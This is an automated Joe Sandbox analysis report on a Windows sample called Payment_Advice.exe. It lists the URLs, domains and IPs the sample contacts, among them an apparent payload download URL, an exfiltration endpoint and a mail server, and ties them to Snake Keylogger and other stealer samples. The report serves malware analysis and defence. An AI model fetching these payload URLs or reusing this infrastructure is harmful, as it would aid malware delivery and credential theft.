Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
http://go.mic	0%	URL Reputation	safe
http://go.mic	0%	URL Reputation	safe
https://www.adobe.co	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
http://reallyfreegeoip.org	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://checkip.dyndns.com	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
https://advising-receipts.com/hsbc/hadvices.scr	0%	Avira URL Cloud	safe
http://advising-receipts.com	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://mail.qoldenfrontier.com	100%	Avira URL Cloud	malware
https://advising-receipts.com	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/149.18.24.96	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/149.18.24.96$	0%	Avira URL Cloud	safe
https://scratchdreams.tk	100%	Avira URL Cloud	malware
https://advising-receipts.com	10%	Virustotal		Browse
http://mail.qoldenfrontier.com	0%	Virustotal		Browse
http://advising-receipts.com	13%	Virustotal		Browse
https://scratchdreams.tk/_send_.php?TS	100%	Avira URL Cloud	malware
https://scratchdreams.tk	16%	Virustotal		Browse
https://advising-receipts.com/hsbc/Payment_Advice.pdf	0%	Avira URL Cloud	safe
http://scratchdreams.tk	100%	Avira URL Cloud	malware
https://scratchdreams.tk/_send_.php?TS	16%	Virustotal		Browse
http://scratchdreams.tk	17%	Virustotal		Browse
https://advising-receipts.com/hsbc/Payment_Advice.pdf	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
reallyfreegeoip.org	172.67.177.134	true	false	2%, Virustotal, Browse	unknown
mail.qoldenfrontier.com	108.167.142.65	true	true	0%, Virustotal, Browse	unknown
scratchdreams.tk	172.67.169.18	true	false	17%, Virustotal, Browse	unknown
advising-receipts.com	172.67.141.195	true	true	13%, Virustotal, Browse	unknown
checkip.dyndns.com	193.122.130.0	true	false	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://advising-receipts.com/hsbc/hadvices.scr	true	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/149.18.24.96	false	Avira URL Cloud: safe	unknown
https://scratchdreams.tk/_send_.php?TS	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://advising-receipts.com/hsbc/Payment_Advice.pdf	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1456507128.000001B490070000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1456507128.000001B4901B3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1386246749.000001B480232000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1386246749.000001B480232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://advising-receipts.com	powershell.exe, 00000004.00000002.1386246749.000001B481ADE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1386246749.000001B4815DD000.00000004.00000800.00020000.00000000.sdmp	false	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000004.00000002.1386246749.000001B480C32000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.1456507128.000001B4901B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1456507128.000001B4901B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000008.00000003.1274341677.000001E16CA80000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2455799913.000001E16CC00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://checkip.dyndns.org	hadvices.scr, 00000019.00000002.2455454438.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000031F3000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003202000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003245000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032F8000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003294000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032A2000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1386246749.000001B480232000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.mic	Payment_Advice.exe, 00000000.00000002.1196271509.000000000124D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://advising-receipts.com	powershell.exe, 00000004.00000002.1386246749.000001B480C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1386246749.000001B481761000.00000004.00000800.00020000.00000000.sdmp	true	10%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://mail.qoldenfrontier.com	hadvices.scr, 00000019.00000002.2455454438.000000000345C000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003448000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.000000000343E000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003430000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003452000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003419000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.adobe.co	ReaderMessages.6.dr	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	edb.log.8.dr	false		high
https://reallyfreegeoip.org/xml/149.18.24.96$	hadvices.scr, 00000019.00000002.2455454438.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003245000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032F8000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003294000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032A2000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/q	hadvices.scr, 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.1456507128.000001B4901B3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1456507128.000001B490070000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1456507128.000001B4901B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://scratchdreams.tk	hadvices.scr, 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003131000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003306000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://reallyfreegeoip.org	hadvices.scr, 00000019.00000002.2455454438.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032F8000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.000000000321A000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003294000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032A2000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	hadvices.scr, 00000019.00000002.2455454438.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003202000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003245000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032F8000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003294000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032A2000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.1386246749.000001B480001000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	hadvices.scr, 00000019.00000002.2455454438.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003202000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032F8000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003294000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032A2000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1386246749.000001B480001000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003131000.00000004.00000800.00020000.00000000.sdmp	false		high
http://scratchdreams.tk	hadvices.scr, 00000019.00000002.2455454438.0000000003306000.00000004.00000800.00020000.00000000.sdmp	false	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://reallyfreegeoip.org/xml/	hadvices.scr, 00000017.00000002.1415714567.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2455454438.0000000003202000.00000004.00000800.00020000.00000000.sdmp, hadvices.scr, 00000019.00000002.2449808868.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.141.195	advising-receipts.com	United States	13335	CLOUDFLARENETUS	true
23.56.12.145	unknown	United States	16625	AKAMAI-ASUS	false
172.67.169.18	scratchdreams.tk	United States	13335	CLOUDFLARENETUS	false
108.167.142.65	mail.qoldenfrontier.com	United States	46606	UNIFIEDLAYER-AS-1US	true
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1434636
Start date and time:	2024-05-01 15:16:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Payment_Advice.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@28/57@8/7
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 99% Number of executed functions: 119 Number of non-executed functions: 39
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.59.24.185, 162.159.61.3, 172.64.41.3, 34.193.227.236, 54.144.73.197, 107.22.247.231, 18.207.85.246, 23.209.58.93, 23.207.202.196, 23.207.202.183, 23.207.202.187, 184.25.58.168, 184.25.58.138, 23.207.202.186, 23.45.233.26, 23.45.233.19, 23.45.233.9, 23.12.145.72, 23.12.145.69
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target powershell.exe, PID 4912 because it is empty
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:17:05	API Interceptor	50x Sleep call for process: powershell.exe modified
15:17:11	API Interceptor	2x Sleep call for process: svchost.exe modified
15:17:26	API Interceptor	38461x Sleep call for process: hadvices.scr modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.56.12.145	evervendor.exe	Get hash	malicious	NetSupport RAT	Browse
172.67.169.18	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse
	rSyDiExlek.exe	Get hash	malicious	Snake Keylogger	Browse
	58208 Teklif.exe	Get hash	malicious	Snake Keylogger	Browse
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
	1d4D5ndo0x.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	D09876500900000H.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	z52OURO08765.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	SDTP098766700000.exe	Get hash	malicious	Snake Keylogger	Browse
	SecuriteInfo.com.Trojan.PackedNET.2725.8730.30889.exe	Get hash	malicious	Snake Keylogger	Browse
	vessel details.exe	Get hash	malicious	Snake Keylogger	Browse
108.167.142.65	Remittance_copy.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse
193.122.130.0	SecuriteInfo.com.PUA.Tool.InstSrv.10.27384.30600.exe	Get hash	malicious	Unknown	Browse	checkip.dyndns.org/
	edlyEKgpaz.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	58208 Teklif.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	iCareFone.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	checkip.dyndns.org/
	D09876500900000H.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	checkip.dyndns.org/
	Quark Browser.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	checkip.dyndns.org/
	Payment_Draft_confirmation.xla.xlsx	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	#U83e0#U841d#U5305#U8f7b#U5c0f#U8bf4 5.0.36.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.qoldenfrontier.com	Remittance_copy.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	108.167.142.65
checkip.dyndns.com	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
	SecuriteInfo.com.PUA.Tool.InstSrv.10.27384.30600.exe	Get hash	malicious	Unknown	Browse	193.122.130.0
	SecuriteInfo.com.PUA.Tool.InstSrv.10.27384.30600.exe	Get hash	malicious	Unknown	Browse	193.122.6.168
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.6.168
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	ATTHACHED SCAN-P.O SPECIFICATIONS.009.24. 001.doc	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	order.exe	Get hash	malicious	Unknown	Browse	158.101.44.242
	0FvHGK2cyk.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	193.122.6.168
	M0uVrW4HJb.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	132.226.247.73
	rSyDiExlek.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
scratchdreams.tk	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.169.18
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.27.85
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	rSyDiExlek.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
	PsBygexGwH.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	58208 Teklif.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
	Zarefy4bOs.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Remittance_copy.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Fuy2BDS9W2.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.27.85
reallyfreegeoip.org	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.67.152
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	rSyDiExlek.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Pnihosiyvr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	BmLue8t2V7.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	gZIZ5eyCtS.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	edlyEKgpaz.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	edlyEKgpaz.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	PsBygexGwH.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	MegaUniversesMQ.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	EPQ.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.12.205
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	http://www.corpsierramadre.com/	Get hash	malicious	Unknown	Browse	104.21.93.126
	nU7Z8sPyvf.rtf	Get hash	malicious	Remcos	Browse	172.67.215.45
	MegaUniversesMQ.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SWIFT COPY.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SWIFT COPY.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	https://smart-doc.ontralink.com/c/s/6jUq/6u7/6/2/v/6A6CqU/UUcaCU2l1B/P/P/e	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	1nS3mkPS10.exe	Get hash	malicious	LimeRAT	Browse	104.20.4.235
AKAMAI-ASUS	https://postoffice.adobe.com/po-server/link/redirect?target=eyJhbGciOiJIUzUxMiJ9.eyJ0ZW1wbGF0ZSI6ImNjX2NvbGxhYl9kY3NoYXJpbmdfdmlld19lbWFpbCIsImVtYWlsQWRkcmVzcyI6ImJhc2FsaW5yZWljQGdtYWlsLmNvbSIsInJlcXVlc3RJZCI6ImZiNDJhMDI2LWFkYWMtNGUwNS01N2IyLWJiMTJmMWQ2ZjFmNSIsImxpbmsiOiJodHRwczovL2Fjcm9iYXQuYWRvYmUuY29tL2lkL3VybjphYWlkOnNjOlZBNkMyOmJkNjM3YjUxLTcwNmEtNDg4Ni05MjZkLTA2ZjM5NTI0YWZmMCIsImxhYmVsIjoiMTIiLCJsb2NhbGUiOiJlbl9VUyJ9.nBjy2vHS9kz9dh9gF6utGztizGQUAyT8p2Xs_LMlQGFyIPy7jWdbqBvo7EWIO0M0gFEWfg1FhrU_boE4Fc2VGw	Get hash	malicious	Unknown	Browse	23.209.57.57
	file.exe	Get hash	malicious	Vidar	Browse	104.105.90.131
	vylI38MZOn.elf	Get hash	malicious	Mirai	Browse	23.44.181.13
	JdlqBuKl3n.elf	Get hash	malicious	Mirai	Browse	72.247.1.106
	L31owFeEHg.elf	Get hash	malicious	Mirai	Browse	23.218.112.21
	KFOxk19cHL.elf	Get hash	malicious	Mirai	Browse	104.91.41.146
	WlCIinu0yp.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer, Socks5Systemz, Vidar, zgRAT	Browse	104.104.85.160
	file.exe	Get hash	malicious	Unknown	Browse	184.26.41.138
	http://goofle.com	Get hash	malicious	Unknown	Browse	23.40.179.53
	file.exe	Get hash	malicious	LummaC, GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse	23.210.138.105
CLOUDFLARENETUS	MegaUniversesMQ.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	EPQ.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.12.205
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	http://www.corpsierramadre.com/	Get hash	malicious	Unknown	Browse	104.21.93.126
	nU7Z8sPyvf.rtf	Get hash	malicious	Remcos	Browse	172.67.215.45
	MegaUniversesMQ.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SWIFT COPY.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SWIFT COPY.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	https://smart-doc.ontralink.com/c/s/6jUq/6u7/6/2/v/6A6CqU/UUcaCU2l1B/P/P/e	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	1nS3mkPS10.exe	Get hash	malicious	LimeRAT	Browse	104.20.4.235
UNIFIEDLAYER-AS-1US	PI No. LI-4325.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	162.240.81.18
	Purchase Order_pdf.exe.gz.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	192.185.166.221
	https://smart-doc.ontralink.com/c/s/6jUq/6u7/6/2/v/6A6CqU/UUcaCU2l1B/P/P/e	Get hash	malicious	HTMLPhisher	Browse	192.185.84.89
	https://smart-doc.ontralink.com/c/s/6jUq/6u7/6/2/v/6A6CqU/UUcaCU2l1B/P/P/e	Get hash	malicious	HTMLPhisher	Browse	192.185.84.89
	https://smart-doc.ontralink.com/c/s/6jUq/6u7/6/2/v/6A6CqU/UUcaCU2l1B/P/P/e	Get hash	malicious	HTMLPhisher	Browse	192.185.84.89
	FedEx DOC_773690995161.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	192.185.166.221
	InvoiceDemurrage.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	67.20.116.106
	NOA, BL and invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.150.204
	https://epaidea.com/wp-includes/vh/c.html	Get hash	malicious	Unknown	Browse	192.185.153.106
	https://bing.com///////////////////////////ck/a?!&&p=9800195a72dfec27JmltdHM9MTcxNDM0ODgwMCZpZ3VpZD0yOWFmMGU4ZS02MTgwLTY4NDUtMWIwOC0xYWJkNjBhYTY5MGImaW5zaWQ9NTIxNg&ptn=3&ver=2&hsh=3&fclid=29af0e8e-6180-6845-1b08-1abd60aa690b&psq=https%3A%2F%2F9dcare.com.au&u=a1aHR0cHM6Ly93d3cuOWRjYXJlLmNvbS5hdS9hYm91dC11cy8	Get hash	malicious	HTMLPhisher	Browse	192.185.120.19

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	1nS3mkPS10.exe	Get hash	malicious	LimeRAT	Browse	172.67.177.134
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	https://docs.google.com/presentation/d/e/2PACX-1vRA7cYu2pjKyfaCRROgTu4J2OpPGWE_raEqtGhCVl21QDvJzZsVPQtIU_FG6khcCjqxbwzOTOoBBBx6/pub?start=false&loop=false&delayms=3000&slide=id.p	Get hash	malicious	Unknown	Browse	172.67.177.134
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	SecuriteInfo.com.Win64.TrojanX-gen.11161.10776.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	172.67.177.134
	https://docs.google.com/presentation/d/e/2PACX-1vTSXaY7ubI0TsmtDZGhnfi1zhnSxguMyu2LhG-ysNsdY7OPzg5AMGaTqcxwu9_JVEAMwiEcyOI9wHoz/pub?start=false&loop=false&delayms=3000&slide=id.p	Get hash	malicious	Unknown	Browse	172.67.177.134
	hRsK5gPX8l.exe	Get hash	malicious	Xehook Stealer	Browse	172.67.177.134
	T1SEuO2fxi.exe	Get hash	malicious	Xehook Stealer	Browse	172.67.177.134
	T1SEuO2fxi.exe	Get hash	malicious	Xehook Stealer	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	EPQ.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	172.67.141.195 172.67.169.18
	SWIFT COPY.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.141.195 172.67.169.18
	SWIFT COPY.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.141.195 172.67.169.18
	SecuriteInfo.com.Win32.PWSX-gen.1403.24614.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.141.195 172.67.169.18
	Swift-Message01052024002ML_qdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.141.195 172.67.169.18
	Tapril-30-receipt.vbs	Get hash	malicious	Remcos	Browse	172.67.141.195 172.67.169.18
	Specification 1223.vbs	Get hash	malicious	AgentTesla	Browse	172.67.141.195 172.67.169.18
	Tapril-30-receipt.vbs	Get hash	malicious	Remcos	Browse	172.67.141.195 172.67.169.18
	CARTASCONF_PDF.vbs	Get hash	malicious	Unknown	Browse	172.67.141.195 172.67.169.18
	SWIFT_Details#64737389.vbs	Get hash	malicious	Unknown	Browse	172.67.141.195 172.67.169.18

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067125840780447
Encrypted:	false
